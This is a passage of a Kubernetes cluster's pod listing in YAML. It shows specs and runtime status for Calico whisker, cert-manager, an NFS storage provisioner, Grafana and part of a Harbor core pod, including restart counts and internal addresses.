      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: whisker-backend-key-pair
      secret:
        defaultMode: 420
        secretName: whisker-backend-key-pair
    - configMap:
        defaultMode: 420
        name: whisker-ca-bundle
      name: whisker-ca-bundle
    - name: kube-api-access-95j78
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:57Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:57Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:57Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://8c1a914a499e7118f3f36568e382a9c0fbbd5c6d2d39348407b534bf739b2b7f
      image: quay.io/calico/whisker:v3.30.4
      imageID: quay.io/calico/whisker@sha256:be59a9a1c66fb62c7a6da590db972099898d77244e49ce6cf843c728371b799b
      lastState:
        terminated:
          containerID: containerd://5384e46111e1c599803065655b564d9804d840ee8569b264861e56d8f7a6eae2
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:53Z"
      name: whisker
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:52Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-95j78
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://92df952ba599524b6ec225dbf9e20dd6887a0f84a976e16673950c4afc904d49
      image: quay.io/calico/whisker-backend:v3.30.4
      imageID: quay.io/calico/whisker-backend@sha256:e67ef5e60f91969cbc04c2a7dd0b653ef1089865616448b2ec839e4c3ac892b6
      lastState:
        terminated:
          containerID: containerd://4a7e630a99b7f0e642f71088d29d3b58a945dd5b6c6d68c5a7487973c5140c39
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:54Z"
      name: whisker-backend
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:57Z"
      volumeMounts:
      - mountPath: /whisker-backend-key-pair
        name: whisker-backend-key-pair
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/certs
        name: whisker-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-95j78
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.194
    podIPs:
    - ip: 192.168.61.194
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: c9bc0f41aa6108d8ba43cebf0197e5e5115e6efecf1bb2d8f0fb6ddfdae7533f
      cni.projectcalico.org/podIP: 192.168.34.46/32
      cni.projectcalico.org/podIPs: 192.168.34.46/32
      prometheus.io/path: /metrics
      prometheus.io/port: "9402"
      prometheus.io/scrape: "true"
    creationTimestamp: "2025-10-18T01:08:36Z"
    generateName: cert-manager-58dd99f969-
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 58dd99f969
    name: cert-manager-58dd99f969-n4w2f
    namespace: cert-manager
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: cert-manager-58dd99f969
      uid: 5d4f8318-21d9-4709-8510-2d66685f2dcc
    resourceVersion: "18046317"
    uid: 8d8d25e9-f4f9-4736-8cc2-2d42b148041c
  spec:
    containers:
    - args:
      - --v=2
      - --cluster-resource-namespace=$(POD_NAMESPACE)
      - --leader-election-namespace=kube-system
      - --acme-http01-solver-image=quay.io/jetstack/cert-manager-acmesolver:v1.18.2
      - --max-concurrent-challenges=60
      env:
      - name: POD_NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      image: quay.io/jetstack/cert-manager-controller:v1.18.2
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          path: /livez
          port: http-healthz
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: cert-manager-controller
      ports:
      - containerPort: 9402
        name: http-metrics
        protocol: TCP
      - containerPort: 9403
        name: http-healthz
        protocol: TCP
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-pdbv8
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: false
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: cert-manager
    serviceAccountName: cert-manager
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: kube-api-access-pdbv8
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:08:37Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:08:36Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://d931aae786223d06faa1e2bf05f7c9737c9a27a99e6719ac9ddaa0775d41f139
      image: quay.io/jetstack/cert-manager-controller:v1.18.2
      imageID: quay.io/jetstack/cert-manager-controller@sha256:81316365dc0b713eddddfbf9b8907b2939676e6c0e12beec0f9625f202a36d16
      lastState:
        terminated:
          containerID: containerd://028eccdd1cfca1d493e1b41ec38ed2d0d6490d1ca4b71db41fdb803bf495c4d7
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:50Z"
      name: cert-manager-controller
      ready: true
      resources: {}
      restartCount: 8
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:19Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-pdbv8
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.46
    podIPs:
    - ip: 192.168.34.46
    qosClass: BestEffort
    startTime: "2025-10-18T01:08:37Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 9969f5254925c30481a04f6dfcee3450914ab69a9cc257e91d292a285f8716a4
      cni.projectcalico.org/podIP: 192.168.34.44/32
      cni.projectcalico.org/podIPs: 192.168.34.44/32
      prometheus.io/path: /metrics
      prometheus.io/port: "9402"
      prometheus.io/scrape: "true"
    creationTimestamp: "2025-11-04T00:53:30Z"
    generateName: cert-manager-cainjector-55cd9f77b5-
    generation: 1
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 55cd9f77b5
    name: cert-manager-cainjector-55cd9f77b5-7cj29
    namespace: cert-manager
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: cert-manager-cainjector-55cd9f77b5
      uid: bb16a244-b4d3-421c-8b4e-08b954a1bc03
    resourceVersion: "18046342"
    uid: 822d8b55-d277-4be6-95a7-02188b04a24f
  spec:
    containers:
    - args:
      - --v=2
      - --leader-election-namespace=kube-system
      env:
      - name: POD_NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      image: quay.io/jetstack/cert-manager-cainjector:v1.18.2
      imagePullPolicy: IfNotPresent
      name: cert-manager-cainjector
      ports:
      - containerPort: 9402
        name: http-metrics
        protocol: TCP
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-kj826
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: false
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: cert-manager-cainjector
    serviceAccountName: cert-manager-cainjector
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: kube-api-access-kj826
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:21Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:30Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:21Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:21Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:30Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://3e85c54131d4dafec047eb713f74b7b4038a7d7b68cc2f7272c16f50aa4f44c0
      image: quay.io/jetstack/cert-manager-cainjector:v1.18.2
      imageID: quay.io/jetstack/cert-manager-cainjector@sha256:af59e01ad9756a1034fbf948330e75702e5d79b3577f323f6a9947707ba262fc
      lastState:
        terminated:
          containerID: containerd://459d4130fd7d2490c4ae1850a10c51c3c4572e837054dfee16d9e31bef43497b
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:52Z"
      name: cert-manager-cainjector
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:21Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-kj826
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.44
    podIPs:
    - ip: 192.168.34.44
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:30Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 8848dab14a5ee5f3040dd972efadca08700422e01c040478f014d9a987ea22f0
      cni.projectcalico.org/podIP: 192.168.133.160/32
      cni.projectcalico.org/podIPs: 192.168.133.160/32
      prometheus.io/path: /metrics
      prometheus.io/port: "9402"
      prometheus.io/scrape: "true"
    creationTimestamp: "2025-11-25T15:22:15Z"
    generateName: cert-manager-webhook-7987476d56-
    generation: 1
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 7987476d56
    name: cert-manager-webhook-7987476d56-gsf9g
    namespace: cert-manager
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: cert-manager-webhook-7987476d56
      uid: db593cbd-bae6-44be-99d6-6f97b41fdf36
    resourceVersion: "18008214"
    uid: 93218ca3-5988-49d4-b805-e3c818a77514
  spec:
    containers:
    - args:
      - --v=2
      - --secure-port=10250
      - --dynamic-serving-ca-secret-namespace=$(POD_NAMESPACE)
      - --dynamic-serving-ca-secret-name=cert-manager-webhook-ca
      - --dynamic-serving-dns-names=cert-manager-webhook
      - --dynamic-serving-dns-names=cert-manager-webhook.$(POD_NAMESPACE)
      - --dynamic-serving-dns-names=cert-manager-webhook.$(POD_NAMESPACE).svc
      env:
      - name: POD_NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      image: quay.io/jetstack/cert-manager-webhook:v1.18.2
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /livez
          port: healthcheck
          scheme: HTTP
        initialDelaySeconds: 60
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: cert-manager-webhook
      ports:
      - containerPort: 10250
        name: https
        protocol: TCP
      - containerPort: 6080
        name: healthcheck
        protocol: TCP
      - containerPort: 9402
        name: http-metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz
          port: healthcheck
          scheme: HTTP
        initialDelaySeconds: 5
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-lj9kl
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: false
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: cert-manager-webhook
    serviceAccountName: cert-manager-webhook
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: kube-api-access-lj9kl
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:09Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:15Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:17Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:17Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:15Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://77fcd5587548d6e9916eb7267b9ef26d8693f9cd441d2129c79c285771725e19
      image: quay.io/jetstack/cert-manager-webhook:v1.18.2
      imageID: quay.io/jetstack/cert-manager-webhook@sha256:9431f0d8b5103b06cc6138564f471ac02c6b2638c2fa399d81e28a01d817ae73
      lastState:
        terminated:
          containerID: containerd://af569c55da7035e4f9178494a32863a41b2f03c7e8c17c79237d3cfd4ebf38c6
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:08:00Z"
      name: cert-manager-webhook
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:08Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-lj9kl
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.160
    podIPs:
    - ip: 192.168.133.160
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:15Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 59e62c10d8fc9f820a84dab038336129005a5ade6f123c2dbf642054204a229d
      cni.projectcalico.org/podIP: 192.168.133.180/32
      cni.projectcalico.org/podIPs: 192.168.133.180/32
    creationTimestamp: "2025-11-25T15:22:58Z"
    generateName: nfs-subdir-external-provisioner-5545d686cd-
    generation: 1
    labels:
      app: nfs-subdir-external-provisioner
      pod-template-hash: 5545d686cd
      release: nfs-subdir-external-provisioner
    name: nfs-subdir-external-provisioner-5545d686cd-hv7lv
    namespace: default
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: nfs-subdir-external-provisioner-5545d686cd
      uid: e39a1c55-d789-4ee7-9f6a-7c8334a9e7dd
    resourceVersion: "18045298"
    uid: 27f0a77f-dda3-4a57-b3b3-efc1a6db3289
  spec:
    containers:
    - env:
      - name: PROVISIONER_NAME
        value: cluster.local/nfs-subdir-external-provisioner
      - name: NFS_SERVER
        value: 172.16.30.245
      - name: NFS_PATH
        value: /srv/nfs
      image: registry.k8s.io/sig-storage/nfs-subdir-external-provisioner:v4.0.2
      imagePullPolicy: IfNotPresent
      name: nfs-subdir-external-provisioner
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /persistentvolumes
        name: nfs-subdir-external-provisioner-root
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-vdwkh
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: nfs-subdir-external-provisioner
    serviceAccountName: nfs-subdir-external-provisioner
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: nfs-subdir-external-provisioner-root
      nfs:
        path: /srv/nfs
        server: 172.16.30.245
    - name: kube-api-access-vdwkh
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:16Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:58Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:22:33Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:22:33Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:58Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://b5b0ed034a2d210850fb8b4d18e2f24a5fb7d84dba5fd2caf262819e50f133ed
      image: registry.k8s.io/sig-storage/nfs-subdir-external-provisioner:v4.0.2
      imageID: registry.k8s.io/sig-storage/nfs-subdir-external-provisioner@sha256:63d5e04551ec8b5aae83b6f35938ca5ddc50a88d85492d9731810c31591fa4c9
      lastState:
        terminated:
          containerID: containerd://e366c3423f0c128f5df79b7e4c0c9e905ab79e143a59187ac733b84cc9fdfe4d
          exitCode: 255
          finishedAt: "2025-11-29T14:22:30Z"
          reason: Error
          startedAt: "2025-11-29T13:21:27Z"
      name: nfs-subdir-external-provisioner
      ready: true
      resources: {}
      restartCount: 5
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:22:33Z"
      volumeMounts:
      - mountPath: /persistentvolumes
        name: nfs-subdir-external-provisioner-root
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-vdwkh
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.180
    podIPs:
    - ip: 192.168.133.180
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:58Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/config: 0e9cbd0ea8e24e32f7dfca5bab17a2ba05652642f0a09a4882833ae88e4cc4a3
      checksum/sc-dashboard-provider-config: e70bf6a851099d385178a76de9757bb0bef8299da6d8443602590e44f05fdf24
      checksum/secret: 46588b98701319774707b0dba6c2f0a941e26d9c257177c38a891975b071a12e
      cni.projectcalico.org/containerID: 87b9d832c0255f5913a3fbe7b28b7e88614df336726eff8cb5a8215598f29b34
      cni.projectcalico.org/podIP: 192.168.34.32/32
      cni.projectcalico.org/podIPs: 192.168.34.32/32
      kubectl.kubernetes.io/default-container: grafana
    creationTimestamp: "2025-10-18T01:08:37Z"
    generateName: grafana-65fc6dbcff-
    generation: 1
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
      pod-template-hash: 65fc6dbcff
    name: grafana-65fc6dbcff-qr6t9
    namespace: grafana
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: grafana-65fc6dbcff
      uid: d97298ec-0d0e-424d-854b-ad68717ead07
    resourceVersion: "18046399"
    uid: 19044b4a-a145-4779-87c3-efa7262683b0
  spec:
    automountServiceAccountToken: true
    containers:
    - env:
      - name: POD_IP
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      - name: GF_SECURITY_ADMIN_USER
        valueFrom:
          secretKeyRef:
            key: admin-user
            name: grafana
      - name: GF_SECURITY_ADMIN_PASSWORD
        valueFrom:
          secretKeyRef:
            key: admin-password
            name: grafana
      - name: GF_PATHS_DATA
        value: /var/lib/grafana/
      - name: GF_PATHS_LOGS
        value: /var/log/grafana
      - name: GF_PATHS_PLUGINS
        value: /var/lib/grafana/plugins
      - name: GF_PATHS_PROVISIONING
        value: /etc/grafana/provisioning
      image: docker.io/grafana/grafana:12.1.1
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 10
        httpGet:
          path: /api/health
          port: 3000
          scheme: HTTP
        initialDelaySeconds: 60
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 30
      name: grafana
      ports:
      - containerPort: 3000
        name: grafana
        protocol: TCP
      - containerPort: 9094
        name: gossip-tcp
        protocol: TCP
      - containerPort: 9094
        name: gossip-udp
        protocol: UDP
      - containerPort: 6060
        name: profiling
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /api/health
          port: 3000
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/grafana/grafana.ini
        name: config
        subPath: grafana.ini
      - mountPath: /var/lib/grafana
        name: storage
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-cwqnb
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 472
      runAsGroup: 472
      runAsNonRoot: true
      runAsUser: 472
    serviceAccount: grafana
    serviceAccountName: grafana
    shareProcessNamespace: false
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: grafana
      name: config
    - emptyDir: {}
      name: storage
    - name: kube-api-access-cwqnb
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:08:37Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:32Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:32Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:08:37Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://ce4cf2e97b96844c20c2c888498f16a6b9745592757a100e75ff679cc21c706f
      image: docker.io/grafana/grafana:12.1.1
      imageID: docker.io/grafana/grafana@sha256:a1701c2180249361737a99a01bc770db39381640e4d631825d38ff4535efa47d
      lastState:
        terminated:
          containerID: containerd://9a5697ed81d7ffcac8add5feca8cd35e7b883a755797ec78286eeae3b8c89f15
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:54Z"
      name: grafana
      ready: true
      resources: {}
      restartCount: 5
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:19Z"
      volumeMounts:
      - mountPath: /etc/grafana/grafana.ini
        name: config
      - mountPath: /var/lib/grafana
        name: storage
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-cwqnb
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.32
    podIPs:
    - ip: 192.168.34.32
    qosClass: BestEffort
    startTime: "2025-10-18T01:08:37Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: bb23f480170198be0acb51930ce019245662ef382b8606908d33590f0490f1d0
      checksum/secret: 0c963f83668fe10a38ea69177a441350598e6efcc1466a97826b23cc7c5bbf93
      checksum/secret-jobservice: 53951fc63f7698cafab0520b4f3cea1f1f6a131fe8daf84cb6656f94ccf0fe82
      cni.projectcalico.org/containerID: f76300c006489a7a74a563fb57c99e54cf21cf9aa3c5e79ea8a3c7ec139d16f1
      cni.projectcalico.org/podIP: 192.168.61.221/32
      cni.projectcalico.org/podIPs: 192.168.61.221/32
    creationTimestamp: "2025-10-22T17:19:43Z"
    generateName: harbor-core-84f58f6d9d-
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: core
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: core
      heritage: Helm
      pod-template-hash: 84f58f6d9d
      release: harbor
    name: harbor-core-84f58f6d9d-fck4m
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: harbor-core-84f58f6d9d
      uid: 89b46ee1-4f2c-4906-8519-6e4aeb2f77ec
